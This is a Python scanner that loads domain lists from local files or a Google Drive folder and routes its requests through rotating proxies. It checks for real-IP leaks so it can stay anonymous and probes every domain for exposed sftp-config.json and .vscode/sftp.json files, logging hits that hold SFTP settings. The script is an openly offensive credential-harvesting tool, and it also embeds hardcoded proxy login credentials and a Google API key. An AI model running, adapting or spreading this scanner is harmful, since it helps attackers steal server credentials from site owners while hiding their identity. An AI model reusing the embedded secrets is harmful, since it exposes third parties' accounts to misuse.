import asyncio import aiohttp import aiofiles import random import os import sys from itertools import cycle from colorama import Fore, Style, init from googleapiclient.discovery import build from googleapiclient.http import MediaIoBaseDownload import io if sys.platform.startswith("win"): asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy()) init(autoreset=True) # ================== WARNA & UI ================== gr, red, yl, bl, res = Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Style.RESET_ALL # ================== CONFIGURATION ================== START_CONCURRENCY = 300 TIMEOUT_SECONDS = 10 BATCH_SIZE = 500 REST_TIME = 2 MAX_RETRY = 2 USERNAME = "spjoxckhpn" PASSWORD = "yC5hnhmhY0egy=O0H7" PROXY_HOST = "dc.decodo.com" PORTS = [10001 + i for i in range(11000)] random.shuffle(PORTS) proxy_pool = cycle(PORTS) USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" ] # ================== GLOBAL STATS & LOCKS ================== stats = {"checked": 0, "found": 0, "error": 0} STOP_SCAN = False REAL_IP = None file_lock = asyncio.Lock() # 🔒 LOCK UNTUK FILE WRITE # ================== CORE UTILS ================== def get_proxy_url(): port = next(proxy_pool) return f"http://{USERNAME}:{PASSWORD}@{PROXY_HOST}:{port}" async def check_proxy_health(session): global STOP_SCAN, REAL_IP for _ in range(3): proxy = get_proxy_url() try: async with session.get("https://icanhazip.com", proxy=proxy, timeout=7) as resp: current_proxy_ip = (await resp.text()).strip() if current_proxy_ip == REAL_IP: print(f"\n{red}[!!!] REAL IP LEAK DETECTED! SHUTTING DOWN{res}") STOP_SCAN = True return False return True except: await asyncio.sleep(1) print(f"\n{yl}[!] Proxy unstable. Continuing with caution...{res}") return True async def safe_fetch(session, sem, url): global STOP_SCAN if STOP_SCAN: return async with sem: proxy = get_proxy_url() headers = {"User-Agent": random.choice(USER_AGENTS)} try: async with session.get( url, proxy=proxy, headers=headers, ssl=False, timeout=TIMEOUT_SECONDS, allow_redirects=True ) as response: stats["checked"] += 1 if response.status == 200: content = await response.text() if any(keyword in content for keyword in ["save_before_upload", "uploadOnSave", "\"protocol\": \"sftp\""]): stats["found"] += 1 print(f"{gr}[MATCH]{res} {url}") # 🔒 WRITE DENGAN LOCK + ASYNC async with file_lock: try: async with aiofiles.open("sftpfound.txt", "a") as f: await f.write(f"{url}\n") await f.flush() # Paksa ke disk except Exception as e: print(f"{red}[WRITE FAILED]{res} {url} | {e}") except (aiohttp.ClientError, asyncio.TimeoutError, OSError): stats["error"] += 1 except Exception as e: stats["error"] += 1 async def process_batch(session, domains, batch_idx, total_batches, sem): if not await check_proxy_health(session): return tasks = [] for dom in domains: base = dom if dom.startswith("http") else f"http://{dom}" base = base.rstrip('/') tasks.append(safe_fetch(session, sem, f"{base}/sftp-config.json")) tasks.append(safe_fetch(session, sem, f"{base}/.vscode/sftp.json")) await asyncio.gather(*tasks, return_exceptions=True) print(f"{bl}[Batch {batch_idx}/{total_batches}]{res} Done. Found: {gr}{stats['found']}{res} | Checked: {stats['checked']}") # ================== GOOGLE DRIVE FETCH ================== async def get_domains_from_drive(folder_id, api_key="AIzaSyAYu_yjlAAJPpqMFjfp6Xp_Mpek2YlHLpE"): domains = [] try: service = build("drive", "v3", developerKey=api_key) query = f"'{folder_id}' in parents and mimeType='text/plain'" results = service.files().list(q=query, fields="files(id, name)").execute() files = results.get("files", []) if not files: print(f"{red}[DRIVE]{res} No text files found.") return [] for file in files: file_id = file["id"] print(f"{bl}[DRIVE]{res} Downloading {file['name']}...") request = service.files().get_media(fileId=file_id) fh = io.BytesIO() downloader = MediaIoBaseDownload(fh, request) done = False while not done: status, done = downloader.next_chunk() content = fh.getvalue().decode("utf-8", errors="ignore") lines = [line.strip() for line in content.splitlines() if line.strip()] domains.extend(lines) print(f"{gr}[DRIVE]{res} Loaded {len(lines)} domains from {file['name']}") except Exception as e: print(f"{red}[DRIVE ERROR]{res} {e}") return domains # ================== MAIN ================== async def main(): global STOP_SCAN, stats, REAL_IP os.system('cls' if os.name == 'nt' else 'clear') stats = {"checked": 0, "found": 0, "error": 0} STOP_SCAN = False # 1. DAPATKAN REAL IP print(f"{yl}Analyzing real IP...{res}") async with aiohttp.ClientSession() as temp_session: try: async with temp_session.get("https://icanhazip.com", timeout=5) as r: REAL_IP = (await r.text()).strip() except Exception: print(f"{red}Failed to get public IP. Check internet.{res}") return print(f"{bl}Your IP:{res} {REAL_IP} {gr}(Protected){res}") # 2. INPUT FOLDER ID print(f"\n{yl}Enter Google Drive Folder ID:{res}") folder_id = input(f"{bl}Folder ID: {res}").strip() if not folder_id: print(f"{red}[ERROR]{res} Folder ID cannot be empty!") return # 3. PILIH SUMBER print(f"\n{yl}Enter filename(s) comma-separated, or 'drive':{res}") input_choice = input(f"{bl}Input: {res}").strip().lower() domains = [] if input_choice == "drive": print(f"{yl}[DRIVE MODE]{res} Fetching from Google Drive...") domains = await get_domains_from_drive(folder_id) else: file_list = [f.strip() for f in input_choice.split(",") if f.strip()] for file_path in file_list: try: with open(file_path, "r", encoding="utf-8", errors="ignore") as f: lines = [line.strip() for line in f if line.strip()] domains.extend(lines) print(f"{gr}[LOADED]{res} {len(lines)} domains from {file_path}") except FileNotFoundError: print(f"{red}[ERROR]{res} File not found: {file_path}") except Exception as e: print(f"{red}[ERROR]{res} Failed reading {file_path}: {e}") if not domains: print(f"{red}No domains loaded.{res}") return total_domains = len(domains) total_batches = (total_domains + BATCH_SIZE - 1) // BATCH_SIZE print(f"{gr}Total:{res} {total_domains} domains | {total_batches} batches\n") # SEM & CONNECTOR global_sem = asyncio.Semaphore(START_CONCURRENCY) connector = aiohttp.TCPConnector( limit=0, limit_per_host=5, force_close=False, ttl_dns_cache=300, enable_cleanup_closed=True ) async with aiohttp.ClientSession(connector=connector, trust_env=False) as session: for i in range(0, total_domains, BATCH_SIZE): if STOP_SCAN: break batch_idx = (i // BATCH_SIZE) + 1 batch_domains = domains[i:i + BATCH_SIZE] try: await process_batch(session, batch_domains, batch_idx, total_batches, global_sem) except Exception as e: print(f"{red}[CRITICAL]{res} Batch {batch_idx} failed: {e}") stats["error"] += len(batch_domains) * 2 if i + BATCH_SIZE < total_domains: await asyncio.sleep(REST_TIME) print(f"\n{gr}SCAN COMPLETE.{res}") print(f"Found: {stats['found']} | Checked: {stats['checked']} | Errors: {stats['error']}") # ================== RUN ================== if __name__ == "__main__": try: asyncio.run(main()) except KeyboardInterrupt: print(f"\n{red}Aborted by user.{res}") except Exception as e: print(f"\n{red}[FATAL]{res} {e}")